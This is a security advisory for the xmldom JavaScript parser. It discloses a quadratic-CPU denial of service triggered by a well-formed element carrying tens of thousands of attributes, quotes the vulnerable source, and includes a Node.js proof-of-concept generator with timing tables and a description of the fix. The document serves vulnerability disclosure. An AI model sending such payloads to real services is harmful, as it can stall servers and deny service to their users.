GHSA-8344-3jmq-59r6

## Summary

xmldom builds the attribute collection of every parsed element by inserting attributes one at a time into a DOM `NamedNodeMap`. Each insertion first performs a **linear scan of all already-inserted attributes** to enforce the DOM uniqueness rule (no two attributes with the same qualified name / namespace+local-name). Parsing an element that carries `M` distinct attributes therefore costs `1 + 2 + … + M = O(M²)` comparisons.

Because the trigger is simply "one element with many attributes", the attack payload is a **fully well-formed XML document**. No malformed markup, no error recovery, and no non-default parser options are involved — parsing completes silently with zero `warning`/`error`/`fatalError` events. An attacker who can submit a modest, highly compressible document (a single element with tens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU per request, enabling an unauthenticated denial of service.

This is distinct from the known quadratic-**memory** namespace-map issue: it burns **CPU** and it does not require any namespace declarations or nesting.

## Details

The DOM content handler adds each attribute of a starting element by calling `el.setAttributeNode(attr)` in a loop:

```js // DOMHandler.startElement for (var i = 0; i < len; i++) { var namespaceURI = attrs.getURI(i); var value = attrs.getValue(i); var qName = attrs.getQName(i); var attr = doc.createAttributeNS(namespaceURI, qName); attr.value = attr.nodeValue = value; el.setAttributeNode(attr); // O(existing attrs) each — see below } ```

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387

`setAttributeNode` delegates to `NamedNodeMap.setNamedItem`, which calls `getNamedItemNS` to look for an existing attribute with the same namespace URI and local name before appending:

```js setNamedItem: function (attr) { var el = attr.ownerElement; if (el && el !== this._ownerElement) { throw new DOMException(DOMException.INUSE_ATTRIBUTE_ERR); } var oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName); // linear scan if (oldAttr === attr) { return attr; } _addNamedNode(this._ownerElement, this, attr, oldAttr); return oldAttr; }, ```

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623

`getNamedItemNS` walks the whole list on every call:

```js getNamedItemNS: function (namespaceURI, localName) { if (!namespaceURI) { namespaceURI = null; } var i = 0; while (i < this.length) { var node = this[i]; if (node.localName === localName && node.namespaceURI === namespaceURI) { return node; } i++; } return null; }, ```

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715

For the i-th attribute the scan visits `i-1` entries, so inserting `M` distinct attributes performs `Θ(M²)` comparisons. There is no hash index or set keyed by name; the map is a plain array-backed structure.

The same structure exists on 0.8.x. There `setNamedItem` dedups via `getNamedItem(attr.nodeName)` instead of `getNamedItemNS`, but that method is likewise a full linear scan, so the complexity is identical:

- `startElement` loop / `setAttributeNode`: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176 - `setNamedItem` → linear `getNamedItem`: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308

The linear-scan `NamedNodeMap` predates the `@xmldom/xmldom` fork and is present unchanged in the unscoped `xmldom` package back to its earliest published release. In `xmldom@0.1.0`, parsing already inserts each attribute one at a time (`DOMHandler.startElement` loops calling `setAttributeNS` → `setAttributeNode` → `NamedNodeMap.setNamedItem`), and `setNamedItem` dedups by calling `getNamedItemNS`, which is a full linear `while (i--)` scan of the already-inserted attributes — the identical `O(M²)` structure. The whole unscoped line (`0.1.0` … `0.6.0`) is therefore affected; the earliest published tag (`0.1.0`) was verified to contain the per-insert linear dedup scan.

## Proof of Concept

A single well-formed element with `M` distinct attributes. No malformed markup and no options:

```js 'use strict'; var DOMParser = require('@xmldom/xmldom').DOMParser;

function buildDoc(m) { var parts = new Array(m); for (var i = 0; i < m; i++) parts[i] = 'a' + i + '="x"'; return '<r ' + parts.join(' ') + '/>'; // <r a0="x" a1="x" ... a{M-1}="x"/> }

for (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i < sizes.length; _i++) { var m = sizes[_i]; var xml = buildDoc(m); var t0 = process.hrtime.bigint(); var doc = new DOMParser().parseFromString(xml, 'text/xml'); // silent: no error events var ms = Number(process.hrtime.bigint() - t0) / 1e6; console.log(m + ' attrs, ' + xml.length + ' bytes -> ' + ms.toFixed(1) + ' ms; parsed=' + doc.documentElement.attributes.length); } ```

Measured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the **scaling** is the load-bearing fact):

**`@xmldom/xmldom` 0.9.10:**

| M (attributes) | input bytes | time (ms) | ratio vs prev | |---:|---:|---:|---:| | 2000 | 18,894 | 13.4 | — | | 4000 | 38,894 | 38.7 | ×2.9 | | 8000 | 78,894 | 100.8 | ×2.6 | | 16000 | 164,894 | 406.2 | ×4.0 | | 32000 | 340,894 | 2149.5 | ×5.3 |

**`@xmldom/xmldom` 0.8.13:**

| M (attributes) | input bytes | time (ms) | |---:|---:|---:| | 2000 | 18,894 | 10.6 | | 4000 | 38,894 | 19.9 | | 8000 | 78,894 | 75.9 | | 16000 | 164,894 | 657.7 | | 32000 | 340,894 | 1643.2 |

**`xmldom` (unscoped) 0.6.0:** 4000 → 28.2 ms, 8000 → 131.8 ms, 16000 → 545.2 ms (≈ ×4 per doubling).

Time grows ≈ ×4 per doubling of `M` — quadratic. About **340 KB of well-formed input costs ~1.6–2.1 s of single-threaded CPU**, and it keeps scaling: doubling the attribute count quadruples the cost. The document is trivially generated and compresses to a few kilobytes on the wire.

## Impact

Unauthenticated, remotely triggerable denial of service against any service that parses attacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds; a handful of concurrent requests can saturate CPU and stall the process. Because the payload is a plain well-formed document (one element, many attributes), it passes any "must be well-formed" gate and reaches the parser before any application-level validation (e.g. schema checks or signature verification) can run. The payload is highly compressible, so it is effective over compressed transports.

## Fix Applied

Replaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed index, so de-duplicating an element's attributes during parse is O(M) instead of O(M²) — a well-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute order and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking and independent of `requireWellFormed`; ships on both maintained versions.